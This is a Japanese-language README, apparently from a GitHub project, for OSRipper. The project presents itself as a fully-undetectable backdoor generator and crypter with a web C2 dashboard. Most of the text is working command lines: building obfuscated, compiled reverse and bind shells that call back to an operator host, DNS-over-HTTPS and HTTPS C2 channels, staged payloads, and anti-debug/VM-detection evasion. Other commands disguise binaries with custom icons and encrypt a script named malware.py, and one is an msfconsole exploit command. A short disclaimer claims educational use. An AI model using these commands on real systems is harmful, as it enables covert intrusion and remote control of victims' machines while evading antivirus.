noahoksuz/osripperAV回避クロスプラットフォームのバックドアおよび暗号化フレームワーク、統合された軽量WebUIを搭載
OSRipper は、許可されたペネトレーションテストやレッドチームオペレーション向けに設計された、洗練された完全検出回避（FUD）バックドア生成・暗号化ツールです。高度な回避技術、複数のペイロードタイプ、そして最新の Web ベース C2 インターフェースを備え、感染システムの管理を行います。
| ペイロードタイプ | 説明 | ユースケース |
|---|---|---|
| バインドシェル | 被害マシン上でポートを開放 | リバース接続がブロックされている場合の直接アクセス |
| リバース TCP Meterpreter | SSL/TLS 暗号化リバース接続 | 標準的なペネトレーションテスト |
| DNS-over-HTTPS C2 | DoH ベースのステルス C2 通信 | ネットワーク制限の回避 |
| HTTPS C2 | 証明書ピン留め HTTPS C2 | 安全で認証済みの C2 チャネル |
| ステージドペイロード | 多段階 Web 配信 | ステルス性を高めた展開 |
| カスタムコード暗号化 | 任意の Python スクリプトの難読化 | カスタムペイロードの暗号化 |
# リポジトリのクローン
git clone https://github.com/SubGlitch1/OSRipper.git
cd OSRipper
# 依存関係のインストール
pip3 install -r requirements.txt
# パッケージのインストール
pip3 install -e .
重要 — オプション機能（ngrok、バイナリコンパイル）を使用するためのセットアップ：
多くのシステム（特に外部管理 Python 環境の Linux）では、OSRipper 独自の venv にオプション依存関係をインストールするために、ビルトインセットアップを 必ず 実行する必要があります。インストール後に一度だけ実行してください。
osripper-cli setup
これにより ~/.local/share/osripper/venv が作成され、pyngrok、nuitka、sandboxed がインストールされます。以降の osripper / osripper-cli の実行では自動的にこれらが使用されます。これを実行しない場合、--ngrok や --compile を使用するたびにセットアップを促すプロンプトが表示されます。システム全体またはユーザー pip インストールを希望する場合は、osripper-cli setup --system を使用してください。
対話モード：
osripper
# または
python3 -m osripper
コマンドライン：
# リバースシェルの生成
osripper-cli reverse -H 192.168.1.100 -p 4444 --obfuscate --compile
# DoH C2 ペイロードの生成
osripper-cli doh -d example.com --obfuscate --compile
Web UI：
# Web UI 付き C2 サーバーの起動
python -m osripper.c2.server example.com --port 5000
# ダッシュボードにアクセス http://localhost:5000
OSRipper には、感染システムを管理するためのモダンな Web ベース C2 インターフェースが含まれています。
# 基本的な使い方
python -m osripper.c2.server example.com
# HTTPS 使用
python -m osripper.c2.server example.com --https
# カスタムポート
python -m osripper.c2.server example.com --port 8080
# カスタム証明書使用
python -m osripper.c2.server example.com --https --cert server.crt --key server.key
サーバー起動後、以下の URL でダッシュボードにアクセスできます。
http://localhost:5000https://localhost:5000（有効な場合）被害マシン上でポートを開放し、接続を待ち受けます。
osripper-cli bind -p 4444 --obfuscate --compile
接続：
msfconsole -q -x 'use python/meterpreter/bind_tcp; set RHOST target_ip; set RPORT 4444; exploit'
SSL/TLS で暗号化されたリバース接続。
osripper-cli reverse -H 192.168.1.100 -p 4444 --obfuscate --enhanced --compile
DNS-over-HTTPS プロトコルを使用したステルス C2 チャネル。多くのネットワーク制限を回避します。
# ペイロード生成
osripper-cli doh -d example.com --obfuscate --compile
# C2 サーバー起動
python -m osripper.c2.server example.com
機能：
認証用に証明書ピン留めを使用した安全な HTTPS C2。
# ペイロード生成（Web UI または CLI 経由）
# HTTPS で C2 サーバー起動
python -m osripper.c2.server example.com --https
# 証明書フィンガープリントの取得
curl http://localhost:5000/api/cert-fingerprint
機能：
多段階 Web 配信によるステルス性の向上。
osripper-cli staged -H 192.168.1.100 -p 8080 --obfuscate
任意の Python スクリプトを難読化・暗号化します。
osripper-cli custom --script mypayload.py --obfuscate --enhanced --compile
| オプション | 説明 |
|---|---|
--obfuscate | 多層難読化を有効化 |
--enhanced | 強化難読化（アンチデバッグ、VM 検出） |
--compile | スタンドアロンバイナリにコンパイル |
--icon PATH | コンパイル済みバイナリ用のカスタムアイコン |
--delay | ランダムな起動遅延を追加（5～15 秒） |
--output, -o NAME | 出力ファイル名 |
--quiet, -q | サイレントモード（最小限の出力） |
# フル機能のリバースシェル
osripper-cli reverse -H 192.168.1.100 -p 4444 \
--obfuscate --enhanced --compile --icon app.ico --delay
# 全機能を備えた DoH C2
osripper-cli doh -d example.com \
--obfuscate --enhanced --compile --delay
# カスタムスクリプトの暗号化
osripper-cli custom --script malware.py \
--obfuscate --enhanced --compile
# ngrok を使用した動的 IP
osripper-cli reverse --ngrok -p 4444 --obfuscate --compile
┌─────────────────┐
│ Generated │
│ Binary │
└─────────────────┘
│
│ Execute
▼
┌──────────────────┐
│ Obfuscated │
│ Dropper │
└──────────────────┘
│
│ HTTP/HTTPS/DoH
▼
┌─────────────────┐
│ │
│ C2 SERVER │
│ (Web UI) │
│ │
└─────────────────┘
│
│ Command/Response
▼
┌─────────────────┐
│ Agent │
│ Execution │
└─────────────────┘
# ngrok を使用したペイロード生成
osripper-cli reverse --ngrok -p 4444
# プロンプトに従ってトンネルを設定
# 実行: ngrok tcp 4444
osripper-cli reverse -H 192.168.1.100 -p 4444 \
--compile --icon /path/to/icon.ico
標準難読化：
強化難読化：
# 標準
osripper-cli reverse -H 192.168.1.100 -p 4444 --obfuscate
# 強化
osripper-cli reverse -H 192.168.1.100 -p 4444 --obfuscate --enhanced
# 1. HTTPS で C2 サーバーを起動
python -m osripper.c2.server example.com --https
# 2. 証明書フィンガープリントを取得
curl http://localhost:5000/api/cert-fingerprint
# 3. フィンガープリントを使用してペイロードを生成（Web UI 経由）
# またはペイロード生成時にフィンガープリントを使用
セキュリティ研究コミュニティからのコントリビューションを歓迎します。
git checkout -b feature/amazing-feature)git commit -m '素晴らしい機能を追加')git push origin feature/amazing-feature)セキュリティ研究コミュニティと以下のプロジェクトに感謝します。
重要: このツールは教育目的および許可されたペネトレーションテストのために開発されました。
開発者は本ソフトウェアの誤用について一切の責任を負いません。ユーザーは適用されるすべての法律および規制を遵守する必要があります。